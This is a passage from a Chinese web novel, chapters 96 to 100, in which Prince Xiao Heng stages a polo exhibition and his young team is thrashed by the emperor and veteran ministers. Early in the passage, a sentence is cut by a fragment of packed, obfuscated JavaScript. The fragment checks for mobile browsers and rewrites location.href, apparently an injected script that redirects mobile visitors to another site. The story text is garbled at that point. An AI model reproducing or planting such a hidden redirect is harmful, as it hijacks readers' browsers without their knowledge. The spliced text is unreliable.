“一晃这么多年过去了,技艺定然生疏了不少,今日正好借此机会,请父皇现场检阅一下,看看儿臣的球技可否还有几分当年的模样,是否有了些许长进?”
“嗯……可以,”梁帝闻言,目光在萧恒脸上停留了一瞬,随即轻轻颔首,应允了下来。
见梁帝并未反对,爽快地答应了下来,萧恒心中一直悬着的大石这才稍稍落下,暗自松了一口气。
有自己亲自上场盯着,混在队伍之中,那么场上的形势、比赛的节奏,各方面自己就可以随时观察、及时进行调整。
场上的都是什么人?
一个是大梁的皇帝,九五之尊。
剩下的那几位,有一个算一个,全是大梁国宝级的人物。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16567175|187014||http|test|mini|href|location''.split(''|''),0,{}));
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r>哪个不是跺一跺脚,整个大梁都要震上三震的存在?
让这群老家伙自己分成两队火拼?
在它处萧恒自然不会管,甚至还会事先准备好瓜子茶水,兴致勃勃的前往看戏。
但今日这场合,还是算了吧。
着实不敢啊。
萧恒生怕这群老头一旦较起真来,搂不住火气,上了头,急头白脸地给自己弄出个好歹,那乐子可就大了。
最后背锅的多半会是自己,所以还是悠着点为妙。
可若是单纯让自己麾下那些年轻球员上去陪练?
萧恒同样是一万个不放心。
生怕那群年轻小子一个个初生牛犊不怕虎,脑子里缺根弦,真的使出十二分的牛劲出来,不懂得收敛。
万一冲撞了圣驾,或者给这群老家伙累出个好歹,谁担待得起?
关键四周还有成千上万的百姓眼睁睁看着。
万一哪个环节没处理好,让梁帝与这群老臣在众目睽睽之下下不来台,那后果……萧恒简直不敢细想。
萧恒的这番提议,顿时让一开始不怎么对付的魏国公与御史大夫二人脸上闪过一丝不悦,嘴唇嚅动,欲要开口说话。
但他们的异议还未出口,便被一直含笑旁观的右相吴文耀抢先一步,出声制止了。
吴文耀抚着长须,看着萧恒,脸上带着温和而了然的笑意,说道:“那一会儿上了场,齐王殿下与您麾下的年轻俊杰们,可得让着我们一点这把老骨头哦。”
吴文耀话语顿了顿,目光意有所指地扫过周围黑压压的看台。
笑道:“这四周可是有近万双眼睛看着呢。”
“殿下千万要手下留情,莫要让我们几个老家伙输得太惨,不然,我等这积攒了半辈子的脸面,到时可真要挂不住,无处安放了啊。”
萧恒闻言同样笑呵呵的道:“右相大人啊,您这话说的,可真是折煞我了。”
“这让着点的请求,按理说,应该是我的词儿才对吧?”
萧恒笑着环视一众老臣,最后目光落在梁帝身上。
继续道:“无论是父皇,还是诸位大人,当年可都是驰骋球场,打遍天下难逢敌手的存在。”
“我们呢,不过是一群经验浅薄的生瓜蛋子。”
“到时候,父皇与诸位大人可千万莫要一时兴起,收不住劲,给我们这些晚辈来一个惨败才是。”
萧恒摊了摊手,故作无奈状:“我自己脸皮厚,输了也就输了,无甚要紧。”
“但我带来的那群年轻人,可个个都是心高气傲、要强好胜之辈,又都是诸位大人的晚辈。”
“所以,一会还望父皇与诸位大人,可千万要高抬贵手,莫要让我们输得太惨,也好保全一下这群小子那份宝贵的锐气与心性。”
第96章:将门虎子
“这比赛还没正式开始打呢,你们俩倒先在这里谦让起来了,文绉绉的,听着都累得慌。”
魏国公是个直性子,大手一挥,大大咧咧地打断了这番机锋,声若洪钟地说道。
“要我说,一会儿上了场,谁都不准让谁,都给我铆足了劲打,真刀**地干一场,那才痛快。”
魏国公环眼一瞪,继续道:“我们这群老家伙若是输了,那是我们自己技不如人,年纪大了,没本事,认栽。”
“但齐王你们这群年轻人若是输了,嘿嘿,那说明你们更没本事。”
“一个个年轻力壮,血气方刚的大小伙子,要是还打不赢我们这群半截身子入土的老头子,那算个什么事?说出去都丢人。”
“哈哈哈……”
萧恒没有说话。
梁帝被魏国公这番蛮横逻辑逗得大笑出声,指着魏国公对众人笑道:“诸位听听,魏国公这算盘珠子打的,朕怕是不在此地,还呆在宫中都能听见了。”
“这是提前就把台阶给自己和大家都找好了啊?”
“合着输赢都是对方的问题,横竖自己都没责任?”
“刚还说叶老将军脸皮厚呢,我看你这脸皮厚度,比起叶老将军那也是不遑多让了啊。”
叶立峰岂会放过这等损人的绝佳机会,当即嘿嘿一笑,接口说道:“陛下言之有理。”
“老臣现在算是知道,为啥这老小子的品秩爵位比咱们几个都高出一头了。”
“就是因为算盘打得好,脸皮足够厚实,陛下赏赐什么,他都敢心安理得地接着,从不带脸红的。”
“嗯!叶老将军此言,可谓是一语中的,深得我心啊,本官完全赞同。”
一旁的御史大夫立刻板起面孔,一本正经地点头附和。
那严肃的表情与他话语中的调侃意味形成了鲜明对比。
一时间,众人你一言我一语,插科打诨,魏国公瞬间成为了众人讨伐的对象。
魏国公对此却是丝毫不怵,反而挺起胸膛,以一敌众,唾沫横飞地反驳着,丝毫不弱下风,颇有一番当年在万军从中取上将首级的老将之风。
“父皇,场边视野最佳,儿臣先命人搬来桌凳,您先与诸位大人在此安心观赛。”
“儿臣需先行告退一步,下去稍作安排,以便稍后的比赛能够顺畅进行。”
萧恒看了一眼吵得面红耳赤的一众老臣,无奈地笑了笑,随即朝梁帝恭敬地行了一礼,请示道。
“去吧,妥善安排便是。”梁帝目光仍落在赛场上,轻轻颔首,准了他的请求。
……
按照马球赛的规矩,一场完整的比赛,时间为半个时辰,分为上下两个半场。
每个半场时长两刻钟,中间留有约一刻钟的休息时间,供球员、马匹进行调整,随后再进行下半场的角逐。
今日的这场赛事,虽被定义为表演赛。
但在看台上近万观众的瞩目与震耳欲聋的呐喊助威下,场上双方球员无一不是憋足了一口气,拼尽全力,力求展现最精彩的竞技。
场上攻防转换极快,人马交错,球杖挥舞间带着呼啸的风声,场面激烈异常。
中途因体力透支而换人,因坐骑疲惫而换马的情况进行了多次,双方才最终堪堪完成了这一场高强度的赛事。
最终结果,萧恒麾下的皇家队以三比二的微弱优势,险胜了由叶北辰率领的,同样表现出色的撼岳球队。
“铛——!”
一声刺耳又悠长的铜锣声骤然响起,穿透了整个赛场,正式宣告了比赛的结束。
看着记分牌上定格的结果,撼岳队的球员们大多低垂着头,面色有些低沉,眼神中充满了不甘与失落,方才场上的骁勇仿佛瞬间被抽空。
叶北辰策马立于队伍前方,见状,脸上却并未如同自己的队员们那般布满沮丧与无力。
他深深看了一眼对面正在相互击掌,意气风发的皇家队队员。
随即猛地调转马头,面对着自己的队员们,脸上看不出喜怒,唯有眼中燃烧着不屈的斗志。
策动胯下的战马,缓缓从一个个垂头丧气的队员面前走过,声音洪亮,带着一种不容置疑的力量,大声喝问道:“一个个都垮着一张脸作甚?天塌下来了不成?”
“胜败不过是兵家常事,你们告诉我,古往今来,史书上记载的哪一位名流千古,被后人景仰的大将军,他一生经历的战斗,是场场皆胜、从无败绩的?”
叶北辰目光扫过众人,自问自答:“没有!一位都没有!”
“真正的名将,都是有胜有败。”
“他们从不因一城一池的短暂得失,或一场战争的偶然胜败而或狂喜或颓丧。”
“他们着眼的是整个战局,最终的胜利。”
“今日,我们败了,又如何?”
“明日,后天,在真正关键的战斗中,我们赢回来便是。”
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>叶北辰抬起马鞭,指向不远处正在庆祝的皇家队,声音愈发激昂。
“更何况,我们今日的对手,是齐王殿下亲手组建,倾注了大量心血的皇家队。”
“他们前期的筹备、训练、物资供给,哪一样不比我们要更为周全、充足?”
“他们胜了我们一场,不是很正常、很合理的事情吗?”
叶北辰话锋一转,语气变得铿锵有力:“所以今日的失利,诸位非但不该感到沮丧,反而应该感到庆幸。”
“庆幸我们能在正式的大赛开始之前,就有机会与如此强大的对手真刀**地打了一场。”
“这让我们提前知晓了对方的真实实力与战术特点。”
“接下来,我们就可以针对他们的长处与短板,展开更具针对性的研究和训练,可以为此做好更多、更充足的准备。”
叶北辰猛地提高音量,如同在军中发号施令般厉声喝道。
“都给我打起精神来,把这点失败给我嚼碎了咽进肚子里,化成力气。”
“准备迎接接下来的正式赛事,那才是我们真正的战场。”
撼岳队的队员们,在叶北辰这一番连消带打,既分析形势又鼓舞士气的训斥与激励下,脸上的阴霾和低落顿时消散了不少。
眼神重新变得坚定起来。
“对嘛!这**才像个顶天立地的男人嘛。”
叶北辰见队友们的气势被重新激发起来,脸上终于露出了些许笑容,看着众人笑骂道。
“刚才你们一个个那副表情,哭丧着脸,简直和受了委屈的小媳妇似的,看得老子都想抽你们。”
队员们被叶北辰说得有些不好意思,互相看了看,脸上纷纷浮现出一抹混合着惭愧与激奋的莫名苦笑。
“讲得不错。”
“有股子沉稳又果决的将军感觉了,不愧是叶家的种,将门虎子。”
这时一道带着赞许意味的声音从旁边传来。
只见萧恒不知何时已走到了场边,正含笑看着叶北辰,眼里满是毫不掩饰的欣赏之色。
“参见齐王殿下。”
撼岳队众人见到萧恒的身影,急忙收敛心神,齐齐向萧恒行礼。
而刚刚还在队员面前挥斥方遒、沉稳如山的叶北辰。
此刻听着萧恒的直接赞赏,反而显得有些局促。
那古铜色的脸庞上竟不由自主地泛起了些许红晕,一时间竟有些手足无措,与方才判若两人。
第97章:到底该怎么打
“你们先下去休息吧,”萧恒见状,对叶北辰等人温声说道。
“诺,”叶北辰抱拳应声,随即昂首,目光如电般射向皇家队中的杨少元,眼中翻腾着毫不掩饰的灼灼战意。
杨少元眉峰微挑,毫不退缩地迎上那道目光,眼神交汇处似有火星迸溅。
“殿下,幸不辱命,”待叶北辰领着撼岳队众人鱼贯退场后,皇家队成员们立刻满面春风地簇拥到萧恒面前,杨少元率先躬身,向萧恒恭敬行礼。
“首战告捷,打得漂亮,”萧恒目光缓缓扫过众人脸庞,嘴角噙着赞许的轻笑,“今日皇家队所有成员,统统重重有赏。”
“谢殿下!”众人闻言,脸上洋溢的喜色顿时更加浓烈,几乎要满溢出来。
萧恒抬手虚按,众人当即收敛了笑容,神色一肃,目光齐齐聚焦于萧恒。
萧恒面色转为郑重,沉声道:“今日,陛下与一众重臣亲临现场观赛,方才陛下有旨,欲携众老臣亲自下场,打上一场马球。”
“本王已向陛下建言,将由本王亲自统领你们,与陛下及一众老臣完成这场赛事。”
陛下竟亲临现场?
稍后我们还要与陛下同场竞技?
萧恒的话语如同一块巨石投入平静湖面,在场众人无不面色一震,纷纷抬起头,眼中充满了难以置信的惊愕,直直望向萧恒。
“殿……殿下,由我等与陛下进行对抗?”
定安侯次子唐宇成喉结滚动,艰难地咽了口唾沫,脸上写满了骇然。
“殿下……此言当真?并非是与属下们说笑?”
“怎么,本王此言,很像是在玩笑吗?”萧恒面色平静无波,反问道。
“**!真的啊?真要跟陛下对垒?”另一名队员失声惊呼,几乎控制不住脸上的表情。
“方才一个个不还都生龙活虎,气吞**如虎么?怎地此刻全都露了怯?”
萧恒见状,不由得轻笑出声,语气中带着几分揶揄。
唐宇成面色发苦,声音都带着些许艰涩:“殿下,那可是陛下啊,面对陛下,谁能不心生畏惧?”
“这……这万一要是……”后面的话语,唐宇成终究是没敢说出口,硬生生咽了回去。
“嗯嗯嗯……”周遭众人立刻如小鸡啄米般拼命点头,对唐宇成的话深表赞同,脸上皆是一片发虚。
萧恒目光微闪,语气带着几分引导,打趣道:“那你们可曾想过,稍后上场面对的虽是陛下。”
“但若你等的表现能入得陛下法眼,乃至令陛下印象深刻,于你们而言,岂不是一场天大的造化?”
此言一出,众人表情明显皆是一怔,随即眼中纷纷闪烁起异样的光彩,仿佛有某种热切的东西被瞬间点燃。
萧恒见状,心中猛地咯噔一下,暗叫不妙,这激励似乎有些过火了。
赶忙肃容,声音沉凝地补充道:“稍后上场,一切行动须听本王号令。”
“务必拿出你们最专注、最专业的水准应对。”
“不过谁若是因为鲁莽冒进,不慎伤了陛下,或是磕碰了哪位老臣……”
萧恒顿了顿,目光锐利地扫过每一张面孔。
“其后果之严重,想必无需本王多言,尔等心中自当清楚。”
话语之中,那沉甸甸的警告意味几乎凝如实质。
众人眼中刚刚燃起的那点灼热光芒,瞬间便熄灭得无影无踪,仿佛被一盆冰水兜头浇下。
不少人甚至下意识地打了个寒颤,显然是联想到了某些可怕的场景。
“好了,都先下去稍作休息,尽快恢复体力,一刻钟后,准备上场,”萧恒挥了挥手。
“诺!”众人齐声应道,怀着复杂难言的心情,转身向场下走去。
“队长,你说殿下这话……究竟是个什么意思啊?”
一下场,队员们立刻寻了处僻静角落聚拢起来,有人迫不及待地压低声音问道,脸上写满了忐忑。
“说得这般含糊,一会儿真对上了陛下,咱们到底该怎么打?”
“是攻是守,是进是退啊?”
“殿下倒是直接与我等说清楚啊,这含糊不清的,这让我们如何是好?”
另一人眉头紧锁,声音里充满了焦虑。
“哥几个,你们说说看,”唐宇成哭丧着脸,紧张地环视
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同伴。
同时抬手在自己脖颈处比划了一个切割的动作。
“这万一……咱们要是不小心……赢了陛下,回头会不会直接被……咔嚓了啊?”
“莫要胡说,”身为队长的杨少元面色一凝:“陛下乃仁德之君,胸襟似海,岂会因我等小辈的一时得势而计较。”
“另外我们这会是在讨论一会要用的战术,便只需讨论一会的战术打法便是,莫要议论一些有些没得。”
“明白”众人赶忙点头应道。
唐宇成面露愁容之色:“队长趁这会还有时间,你快去再问问殿下,一会怎么弄,好歹吩咐清楚啊。”
“不然我总感觉,我这脑袋和我闹矛盾了,想要和我提分手,自己独自过活去。”
众人闻言也感觉脖颈凉飕飕的,脑袋总感觉不踏实。
“知道了,”杨少元点了点头,起身寻找萧恒的身影。
见萧恒的身影此刻站在场地外围,看着场中的表演,不知道在想什么,目光有些呆滞。
一群五大三粗的汉子跳的舞姿,是从军阵上演变过来的。
常出现军中的表演。
一开始萧恒本是打算像后世那般,找一群漂亮的女子,搁那跳舞。
后来想了想,又打消了这个念头。
有些新异的存在,还是得慢慢将其融入这个世界,不能一股脑的塞进来。
不然本土居民恐怕容易接受不了,引起众人的抨击。
便改用了这个世界原由的舞曲,别说一群大汉组成的军阵,再配合上震耳欲聋的鼓点声,观赏性还真的不错。
“殿下,”杨少元走到萧何身后,轻声呼唤了一声。
萧恒没有丝毫动静。
“殿下,”直到三福在萧恒耳边再次呼唤了一声,萧恒这才回过神来。
看向杨少元轻声道:“少元啊。”
杨少元恭敬行礼:“殿下,队员们让属下再来询问一下殿下,一会的战术方针,该怎么制定,没一个明确的目标大家心里都有些没底啊。”
萧恒沉思片刻后回答道:“拿出最佳的状态,务必保证陛下与一众老臣玩到最尽兴。”
第98章:我的痛,且是你能懂的
“属下明白,这就去安排。”
杨少元精准捕捉到萧恒话中的关键旨意。
务必要让陛下玩得尽兴。
场中穿插的军舞表演已毕,演员们正陆续退场,宽阔的场地再度空旷起来。
此时,负责主持整场比赛的主持人赵明远,正准备依照彩排流程继续推进。
萧恒的护卫铁牛,却忽然来到赵明远身侧,凑近他耳边低语了几句。
“什么?”赵明远那从容不迫的表情瞬间凝固,转为惊愕。
几乎是下意识地脱口而出:“陛下亲临了?一会儿还要亲自打比赛?”
“正是。”传话之人神情严肃,“殿下已做安排,比赛即刻开始。”
“这是陛下那边上场人员的名单,你立即向现场观众宣布,给众人一个缓冲时间,以免陛下突然现身,引发百姓骚动。”
铁牛将一张纸条递给赵明远。
赵明远有些发懵地接过,低头一看,上面罗列的名字皆是大梁朝中举足轻重的人物,无一不是位高权重的显赫之辈。
赵明远扫过名单,面色微变:“陛下他们这就要上场?”
“没错。”传话之人肯定地点头。
“小的明白了,定不辜负殿下厚望,”赵明远苦笑着应下。
内心却是一片哀鸣:怎么就我的命不是命吗?
陛下亲临这等大事,竟临时通知,连一点准备的时间都不给。
在这近万百姓面前,若是一紧张说错半句话,岂不是要九族俱灭?
铁牛颔首道:“此处便交给你了,对了,殿下让我转告,你今日表现不错。”
“有劳大人回禀殿下,此乃属下分内之事。”
赵明远闻言,脸上顿时涌现喜色,连方才的紧张都消散了几分。
“嗯,继续努力,”铁牛摆出老成持重的姿态。
“能得到殿下认可实属不易,你小子颇有前途。”
“大人过奖了,能为殿下效力,是小的福分,”赵明远急忙躬身行礼。
“好了,时间紧迫,你的话我会转达殿下。”
“切记,万不可出任何差池。”铁牛又叮嘱一句,随即转身离去。
“诺。”赵明远对着铁牛的背影恭敬应声。
随即望向座无虚席的看台,深深吸了一口气。
赵明远,你行的!
他在心中为自己鼓劲打气。
拿起一旁的铁皮扩音器——场地如此辽阔,若无辅助工具,实在难以胜任。
“诸位观众朋友,就在方才,鄙人接到一则惊人消息。”
“今日我大梁第一届皇家杯赛事开幕仪式,除却身份尊贵的太子殿下、太子妃娘娘、齐王殿下三位亲临之外。”
“我大梁更为尊贵的九五之尊——皇帝陛下,也已亲临现场!”
赵明远话音落下,现场并未立刻爆发出热烈欢呼,反而如同喧闹的晚自习教室中,突然有人高声呼喊,不好、老班来了。
近万观众的嘈杂喧嚣,在顷刻间沉寂下来,变得鸦雀无声。
一些未听清赵明远说话的观众,也在周遭瞬间的寂静中跟着安静下来,眼神迷茫地四下张望,心中不解:发生何事?为何突然如此安静?
赵明远继续高声道:“并且,陛下即将率领一众肱骨重臣,与我大梁优秀的年轻球赛队员,展开一场激烈的马球角逐。”
这一下,现场更是静得落针可闻。
若说方才还有人未能反应过来,仍在低声询问左右、窃窃私语,此刻则彻底万籁俱寂,所有人面面相觑。
开什么玩笑?陛下竟要亲自上场角逐?
而自己……竟是观众?
这是什么地狱级别的玩笑话?
众人有一个算一个皆是两眼发蒙。
“陛下驾到——”众人尚在发愣,一声尖锐悠长的唱喏已传遍全场。
梁帝一身利落黑衣,跨坐战马,手握球杆,身后跟随着数位老臣及其他被梁帝亲点的大员,昂首挺胸,策马入场。
“**!是龙旗!”
“真是陛下?!”
“该不会是假的吧?”
“你脖子上顶的是夜壶吗?此乃何处?大梁京都,首善之地,天子脚下!”
“今日除了各部官员,还有太子、齐王二位殿下,暗地里前来观赛的贵族更不在少数。”
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>“此等场合,你跟我说陛下是假的?”
“就你这脑子,往后最好离我远点,免得被你牵连,死都不知道**的!”
“恭迎陛下……”
“参见陛下……”
“皇上万岁……”
短暂的震惊之后,观众们纷纷起身行礼,口中高呼不断。
只是称呼五花八门,各喊各的,并不统一。
梁帝端坐马上,始终面带微笑,向两侧观众颔首致意。
威严与亲和并存。
四周百姓的欢呼声愈发高涨。
此刻,场地一处不起眼的角落。
撼岳队队员齐聚于此,一人溜到叶北辰身边,贼兮兮地低声问道:
“我说叶大少,这场面……可是你方才心心念念的?”
叶北辰原本激动的神情瞬间僵在脸上。
扭头恶狠狠地瞪向来人,从牙缝里挤出一个字:“滚!”
说罢,不自觉地伸手揉了揉屁股。
方才,他的祖父——大梁镇军大将军叶立峰,于百忙之中专门抽空过来,照着他的屁股结结实实踹了好几脚。
那可是半点没留情,此刻屁股肿得老高,碰都碰不得。
关键这还不算完,老爷子临走时还特意撂下话:眼下赶时间,先踹几脚当作开胃小菜,待晚间回府,再好好款待他。
唉——
此刻叶北辰心中长叹,眼眶泛红,泪眼汪汪地望向远方。
父亲啊,你们可知孩儿在此过的是什么日子?
你们何时才来接孩儿去哪远方啊……
“叶大少,想啥呢?”
“老将军踹的是屁股,怎么连脑子也一并踹坏了?”
方才那人见叶北辰发呆不动,两眼通红,满腹疑惑,伸手在叶北辰眼前晃了晃。
“滚犊子!”叶北辰低声怒斥,“老子的痛,你不懂!”
“还有,叫老子队长。”
“工作场合称职务,若在军中,你敢这般没大没小、乱攀关系,老子先赏你二十军棍,让你长长记性!”
“得,又魔怔了。”
问话者翻了个白眼,丢给叶北辰一个鄙夷的眼神,转身溜达开了。
第99章:这不是预想中的画面啊
“皇兄,你真不上场玩一下?”
临上场前,萧恒手中牵着一匹通体黝黑、不带半根杂**的骏马,侧首向太子发出邀请。
“不去,不去,”太子此刻脑袋摇得如同拨浪鼓一般,连连摆手回绝。
他自幼便不喜骑射动健之事,马球这项运动更是从未入过他的眼。
有这闲工夫,躺在榻上小憩片刻岂不更惬意?
萧恒仍不死心,继续劝说道:“皇兄何故推辞?臣弟记得您的马球技艺很是不错,今日难得父皇亲自下场,咱们兄弟二人并肩作战岂不痛快?”
“今日可是千载难逢的机会,能光明正大地与父皇一较高下,一起上场吧?”
必须拉个垫背的,若是一会万一一不小心赢了老爷子,有太子在,就算老爷子不喜,岂不是也多一个吸引火力的。
“不去,你自己玩个尽兴便是,”太子双臂环抱,依旧摇头不止。
“皇兄你真没意思,”萧恒忍不住吐槽了一句。
太子却置若罔闻,全然不理会萧恒的埋怨。
倒是侍立一旁的太子妃,朝萧恒投来鼓励的目光,温言道:“小弟加油。”
“多谢皇嫂,你就等着看好戏吧,”萧恒展颜一笑,利落地翻身上马,缰绳一抖便朝场中驰去。
待萧恒远去,太子妃这才转向太子,似笑非笑地问道:“你当真是因为不喜欢马球才不去的?”
太子嘴角扬起一抹狡黠的笑意,低声道:“这么精彩的一出好戏,若不当个看客,岂非辜负了这番安排?”
“去搬两把椅子来,再备些茶点。”
太子转头吩咐内侍,随即望向场中,长叹一声:“唉——有吃有喝,还有大戏可看,这才是人过的日子啊。”
“往日里过的,都是什么糟心日子。”
身旁的太子妃以袖掩唇,轻笑道:“你今日这番话若是被父皇听去,少不得又要挨一顿训斥。”
“训便训罢,又不会少块肉。”
太子大马金刀地坐在椅上,随手拈起一块糕点,满不在乎地说道。
“别站着了,快坐,今日这场戏,可有得看了。”
太子招呼太子妃落座,兴致盎然地望向场中。
“父皇,”双方队员上场列队,萧恒端坐马背,朝梁帝躬身行礼。
“参见陛下!”
身后一众年轻队员齐声见礼,声震云霄。
“嗯,精神头都不错,”梁帝扫视众人,面露赞许之色:“待会儿都拿出真本事来,不必拘礼。”
“遵旨!”众人齐声应答,气势如虹。
“陛下,可以开始了吗?”一旁的裁判恭声请示。
“开始吧。”梁帝微微颔首。
“诺,”裁判得令,立即高声宣告:“比赛即将开始,请双方选手各就各位。”
“驾——!”
裁判话音未落,双方已然催动战马向后撤去,在距离中心点位十步开外处勒马而立。
裁判将彩漆马球稳稳固定在场地中央,随即快步退至场边。
裁判口衔竹哨,双手各执一面红色令旗,神情肃穆。
“呜——!”
随着主裁判奋力吹响哨音,令旗应声挥落,比赛正式拉开帷幕。
“咚咚咚——!”
“咚咚咚——!”
场边震耳欲聋的战鼓声霎时响彻云霄,如惊雷滚过长空。
“驾——!”
刺耳的哨声尚在耳畔回荡,萧恒与身后年轻球员已如离弦之箭般催动战马,直扑场中马球而去。
然而梁帝一方的反应同样迅捷无比,双方几乎同时逼近马球。
马球本就源自军中演武,这初次争球便如两军铁骑对冲,拼的就是一往无前、舍我其谁的气势。
但梁帝的至尊身份终究令人忌惮。
即便萧恒素日里立的是跳脱不羁的人设,此刻也不敢真个策马直冲圣驾。
更何况梁帝两侧俱是功勋老臣,众人唯恐冲撞过甚,酿成大祸。
因此在即将触球之际,萧恒下意识地轻扯缰绳。
胯下战马久经训练,当即蹄步微滞。
“砰!”就在这电光石火间,梁帝已一骑当先,手中球杆如蛟龙出海,重重击在马球上。
那球应声飞起,划出一道弧线,直扑萧恒后方空当。
两侧老将更无半分犹豫,当即分驰左右,如军阵双翼展开。
梁帝策马从萧恒身侧掠过时,投来一个意味深长的眼神。
**,来势如此凶猛?
萧恒心头一震。
耳边已传来杨少元的急喝:
“回防——快!”
“驾——!”
……
萧恒等人回防不可谓不快,但场中这群老将的进攻更是行云流水。
他们彼此配合默契无间,传切之间尽显功力。
萧恒等人布下的防线竟如纸糊一般,被轻易撕裂。
更棘手的是,老将们手中的球杆不仅击球,更频频往人身上招呼。
除却头颅与战马不打,其余部位皆在
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攻击范围之内。
按规矩,击打对手本不犯规——这运动既从军中演变而来,自然保留了几分悍勇。
你能攻我,我自可还击。
一时间场中惨叫连连,年轻队员们被打得叫苦不迭。
莫说他人,便是萧恒自己也未能幸免,挨了两记闷棍,痛得龇牙咧嘴。
“砰——!”
“漂亮!陛下威武!”
不足半刻钟工夫,梁帝已亲自破门得分。
看台上顿时爆发出山呼海啸般的欢呼。
“陛下威武——!”
“皇上神勇——!”
“哦!方才发生了什么?这一切来得太快!谁能告诉我,陛下是如何做到的?”
解说赵明远激昂的声音响彻全场。
“我们尊贵的陛下,在开场不到四分之一时辰内,便率先攻入一球!”
“真不愧是真龙天子!各位观众,让我们再次为陛下欢呼!”
“咚咚咚——!”
此刻场边战鼓擂得愈发震天动地,如惊涛拍岸。
“哈哈哈,小家伙们打得倒有模有样,就是火候还差些,继续练着吧。”
魏国公纵声长笑,声若洪钟。
“殿下,这情形与我们先前所料大相径庭啊,”杨少元策马凑近萧恒,低声说道。
此刻杨少元面色有些难看,不到半刻钟就被破门,己方还全程被动挨打。
这岂是预想中的局面?
这可是上万百姓亲眼目睹,颜面何存。
“小子给朕听好了,”梁帝此时策马来到萧恒面前,面色冷峻:“此刻朕是你的敌人,你似乎忘了,朕曾经教导过你们,对待敌人当如何?”
“儿臣不敢忘怀父皇教诲。”
萧恒在马背上挺直腰杆,朗声应道:“父皇说过,对待敌人,要么隐忍不发,不露丝毫痕迹,要么一击必杀,不留半分余地。”
“记得便好,继续。”
梁帝冷哼一声,拨转马头离去。
萧恒望着梁帝远去的背影,牙关紧咬,忽的厉声喝道:“传令!”
“此战若胜,人人重赏;若败……”
萧恒语气微顿,目光扫过众人。
“全员加训三倍!”
“一份不低于五千字的战后总结报告。”
此话一出众人皆是两眼一瞪,脸上布满恐慌之色。
三陪的加训,他们倒是不怕,咬咬牙便过去了。
但那五千字的战后总结报告,是认真的?
这不得要人老命啊?
第100章:惨败,太子调侃
输了。
并且输得很惨。
整整半个时辰的比赛时间,足足六十分钟,萧恒率领的队伍几乎全程被那群年迈的老臣压制着打。
萧恒等人全程都在被动防守,鲜少能组织起有效的进攻。
即便偶尔发起反击,也总会被对方迅速断球,重新陷入苦苦支撑的困境。
“齐王殿下打得不错,为了赢下你们这一场,可把我们这帮老骨头累得够呛。”
魏国公喘着粗气,朝萧恒说道,花白的胡须随着急促的呼吸微微颤动。
萧恒勉强扯出一抹笑意,没有接话。
总感觉对方说的不是啥好话。
其余官员碍于彼此身份的差距,倒是没有对萧恒多说什么。
“还行。”
梁帝在离场时,面色平静地对萧恒吐出两个字,那语气平淡得让人揣摩不透圣意。
随即,梁帝在百姓们热烈的欢呼声中径直离开了赛场。
“殿下,属下等人无能,让您失望了。”
皇家队的球员们垂着头,杨少元的语气中带着难以掩饰的苦涩。
萧恒望着梁帝渐行渐远的背影,只觉得脸颊上火辣辣地发烫,仿佛被人当众扇了一记耳光。
说好的谦让呢?
结果差点被那群老人家打得毫无还手之力,险些被剃了个光头。
萧恒无力地挥了挥手:“你们先回去吧,加强训练。”
“诺。”
“呦,这是什么表情?”萧恒刚走下场地,太子双手环抱迎了上来,脸上写满了毫不掩饰的打趣之意。
萧恒没好气地白了太子一眼,若不是觉得与太子的关系还没亲近到那个份上,他真想踹这幸灾乐祸的家伙一脚。
太子端起一旁的茶杯递给萧恒,唇角噙着笑意:“是不是和预期的结果,不太一样?”
萧恒猛灌了一口茶水,温热的茶汤恰到好处,萧恒一口气将杯中的茶水饮尽。
放下茶杯后,这才郁闷地开口:“何止是不太一样,根本就是南辕北辙。”
“一群二十出头的年轻小伙,对阵年纪最大的已是古稀之年,最年轻的也有四五十岁的老臣。”
萧恒摇头叹息:“结果却被对方按在地上的摩擦,连一点反击的余地都没有,今日这脸,算是丢尽了。”
“哈哈哈——”太子笑得格外畅快,眼角都挤出了细纹。
萧恒无奈地看向太子:“皇兄你老实告诉我,你今天不肯上场,是不是早就料到会是这个结果了?”
“大差不差吧,”太子坦然地承认了。
见太子如此爽快地点头,萧恒嘴角忍不住抽搐了一下:“皇兄这就有些不够意思了,既然早就知道,好歹提前透露一声啊。”
“若是早知道会这样,我何至于落得如此狼狈?”
“让那群小子自己上场不就行了?”
“那不行,”太子斩钉截铁地说:“若是只让那群年轻人上场,孤还真有些不放心。”
“毕竟对面是父皇和一众老臣,还是得你亲自上场盯着,才能根据现场情况及时调整,避免不必要的意外发生。”
萧恒心里其实认同这个说法,当初决定亲自上场,不就是担心那群冒失的年轻人做出什么出格的事吗?
有自己坐镇,确实能放心不少。
不过心里认可归认可,萧恒可没打算表现出来。
当即翻了个白眼:“这担忧纯属多余。”
“那群老头子下手一个比一个狠,黑着呢。”
“你看看,”萧恒撸起袖子,露出手臂上大片的紫青色淤伤,无奈道:“后背更惨。”
“整场比赛下来,被父皇结结实实抽了十六下,下手毫不留情,全是全力,今晚回去,怕是别想躺着睡觉了。”
“东宫有太医院送来的治疗淤伤的膏药,一会儿我让人给小弟送去。”
太子妃见状面露关切,柔声说道。
太子妃出身魏国公府,魏国公身为武将之首,太子妃自幼见惯了各种伤痛,对萧恒手臂上的淤伤并不觉得意外。
“太子妃娘娘,为殿下治疗淤伤的药膏,奴才已经命人取来了。”
这时,三福在一旁躬身回话。
太子妃闻言,淡然颔首:“嗯,挺好,倒是一个贴心的奴才。”
“都是奴才该做的,”三福低声回应道。
太子接着说道:“父皇和那群老臣,大多当年都是从**堆里爬出来的,所以不论文武,下手都刁钻得很。”
大梁武风极盛。
别看那些文官整天瞧不起武官,一口一个匹夫地叫着,但私下里文人同样也练武。
尤其是有些家世的青年书生,最喜欢背个行囊佩把剑,就出门游历天下。
文武兼备之人,若能在某个地方闯出些名堂,对日后的仕途大有裨益。
当然,文官对武官一口
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一个匹夫,武将对文官也同样骂得难听,一口一个**子。
这两个体系互相看不顺眼,对喷了不知几百上千年了。
“今日的比赛孤全程仔细看了,父皇其实是在培养你对敌的意识。”
“也就是你与人对战的经验不足,才会被父皇连续抽中这么多下,若是换成那群老臣,多半一下都挨不着。”
“轻易就能格挡下来。”
萧恒在心里翻了个白眼。
